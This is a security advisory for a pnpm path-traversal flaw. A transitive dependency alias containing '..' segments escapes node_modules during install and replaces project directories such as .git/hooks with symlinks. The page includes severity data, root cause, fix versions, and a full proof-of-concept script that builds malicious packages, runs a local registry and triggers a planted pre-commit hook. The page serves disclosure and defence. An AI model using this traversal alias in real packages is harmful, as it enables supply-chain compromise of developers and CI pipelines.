Skip to content

GHSA-hwx4-2j3j-g496 CVE-2026-50016

pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement

High npm
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.53%
Chance of exploitation in the next 30 days. Higher than 44.69% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-23 Relative Path Traversal
Fix
10.34.0
Upgrade pnpm to this version or later

Description

Summary

pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.

.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:

  • .husky or .githooks for Git hook dispatchers
  • scripts/, tools/, bin/, or tests/ for project scripts and CI commands
  • .github/actions/<name> for local GitHub Actions used later in the workflow
  • dist/ or other publish/build output directories before pnpm pack or pnpm publish
  • node_modules/.bin or undeclared node_modules/<name> paths used by later command or module resolution

Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.

This was reproduced with pnpm@11.2.1.

Impact

Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.

Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.

Root Cause

pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended node_modules directory.

Conceptually, a transitive alias like this:

{
  "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}

is eventually treated like:

path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")

The normalized destination escapes the dependency's node_modules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.

The dependency chain is:

victim installs normal@1.0.0
normal@1.0.0 -> bad@1.0.0
bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias

The malicious transitive package metadata contains:

{
  "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}

Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.

Proof Of Concept

Run:

./run.sh
#!/bin/sh
set -eu

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORKDIR="$SCRIPT_DIR/demo-workdir"
REGISTRY_DIR="$WORKDIR/registry"
TARBALLS_DIR="$REGISTRY_DIR/tarballs"
VICTIM_DIR="$WORKDIR/victim"
READY_FILE="$WORKDIR/registry-ready"
PORT_FILE="$WORKDIR/registry-port"

rm -rf "$WORKDIR"
mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"

cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON'
{
  "name": "payload-hooks",
  "version": "1.0.0",
  "bin": {
    "pre-commit": "pre-commit"
  },
  "files": [
    "pre-commit"
  ]
}
JSON

cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF'
#!/bin/sh
echo PWNED >&2
exit 0
EOF
chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit"

cat > "$REGISTRY_DIR/bad/package.json" <<'JSON'
{
  "name": "bad",
  "version": "1.0.0",
  "description": "transitive registry package",
  "dependencies": {
    "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
  }
}
JSON

cat > "$REGISTRY_DIR/normal/package.json" <<'JSON'
{
  "name": "normal",
  "version": "1.0.0",
  "description": "normal looking package from a registry",
  "dependencies": {
    "bad": "1.0.0"
  }
}
JSON

(cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)

node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' &
const http = require('node:http')
const fs = require('node:fs')
const path = require('node:path')
const { execFileSync } = require('node:child_process')

const [registryDir, readyFile, portFile] = process.argv.slice(2)
const tarballsDir = path.join(registryDir, 'tarballs')

function shasum (filename) {
  return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)])
    .toString()
    .trim()
    .split(/\s+/)
    .pop()
}

function integrity (filename) {
  return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)])
    .toString('base64')
}

function packument (pkgName, req) {
  const filename = `${pkgName}-1.0.0.tgz`
  const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8'))
  const origin = `http://${req.headers.host}`
  return {
    name: pkgName,
    'dist-tags': {
      latest: '1.0.0',
    },
    versions: {
      '1.0.0': {
        ...manifest,
        dist: {
          tarball: `${origin}/${pkgName}/-/${filename}`,
          shasum: shasum(filename),
          integrity: integrity(filename),
        },
      },
    },
  }
}

const server = http.createServer((req, res) => {
  const pathname = new URL(req.url, 'http://local.invalid').pathname
  if (req.method !== 'GET') {
    res.writeHead(405)
    res.end('method not allowed')
    return
  }
  if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') {
    const pkgName = pathname.slice(1)
    res.writeHead(200, { 'content-type': 'application/json' })
    res.end(JSON.stringify(packument(pkgName, req)))
    return
  }
  const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/)
  if (tarballMatch) {
    const file = path.join(tarballsDir, tarballMatch[2])
    res.writeHead(200, { 'content-type': 'application/octet-stream' })
    fs.createReadStream(file).pipe(res)
    return
  }
  res.writeHead(404)
  res.end('not found')
})

server.listen(0, '127.0.0.1', () => {
  fs.writeFileSync(portFile, String(server.address().port))
  fs.writeFileSync(readyFile, 'ready')
})
NODE
REGISTRY_PID=$!
trap 'kill "$REGISTRY_PID" 2>/dev/null || true' EXIT INT TERM

WAIT_COUNT=0
while [ ! -f "$READY_FILE" ]; do
  WAIT_COUNT=$((WAIT_COUNT + 1))
  if [ "$WAIT_COUNT" -gt 100 ]; then
    echo "local registry did not start" >&2
    exit 1
  fi
  sleep 0.05
done
REGISTRY_PORT=$(cat "$PORT_FILE")

cd "$VICTIM_DIR"
git init -q
git config user.email demo@example.invalid
git config user.name "Demo User"

cat > package.json <<'JSON'
{
  "name": "victim",
  "version": "1.0.0"
}
JSON

cat > .npmrc <<EOF
registry=http://127.0.0.1:$REGISTRY_PORT/
EOF

printf 'pnpm: '
pnpm --version
printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRY_PORT"
printf 'victim: %s\n\n' "$VICTIM_DIR"

pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent

echo 'trigger commit' > change.txt
git add change.txt

set +e
COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)
COMMIT_STATUS=$?
set -e

printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS"
printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR"

The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs normal@1.0.0 with --ignore-scripts, and then triggers git commit.

Requirements:

pnpm
npm
node
git
openssl

Expected output:

git commit exit code: 0
git commit stderr:
PWNED

PWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.

Affected versions

npm

PackageVulnerableFixed in
pnpm
< 10.34.0
10.34.0
pnpm
>= 11.0.0, < 11.4.0
11.4.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pnpm npm → 10.34.0

npm
npm install pnpm@10.34.0
yarn
yarn add pnpm@10.34.0
pnpm
pnpm add pnpm@10.34.0

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-23: Relative Path Traversal

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-vx52-2968-3vc6
pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml
High Also affects pnpm
GHSA-2rx9-3g3h-c2jv
pnpm: pacquet trust-lockfile install can create dependency symlinks outside the project
High Also affects pnpm
GHSA-vq4v-j7r6-jq4m
pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install
High Also affects pnpm
GHSA-c59q-g84q-2gj5
pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph
High Also affects pnpm
GHSA-qrv3-253h-g69c
pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config
High Also affects pnpm
GHSA-72r4-9c5j-mj57
pnpm: `patch-remove` could delete project-selected files outside the patches directory
High Also affects pnpm
GHSA-fr4h-3cph-29xv
pnpm: Hoisted install imports lockfile alias outside node_modules
High Also affects pnpm
GHSA-v23m-ccfg-pq9h
pnpm: `stage download` writes outside its destination directory via manifest name/version traversal
High Also affects pnpm
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor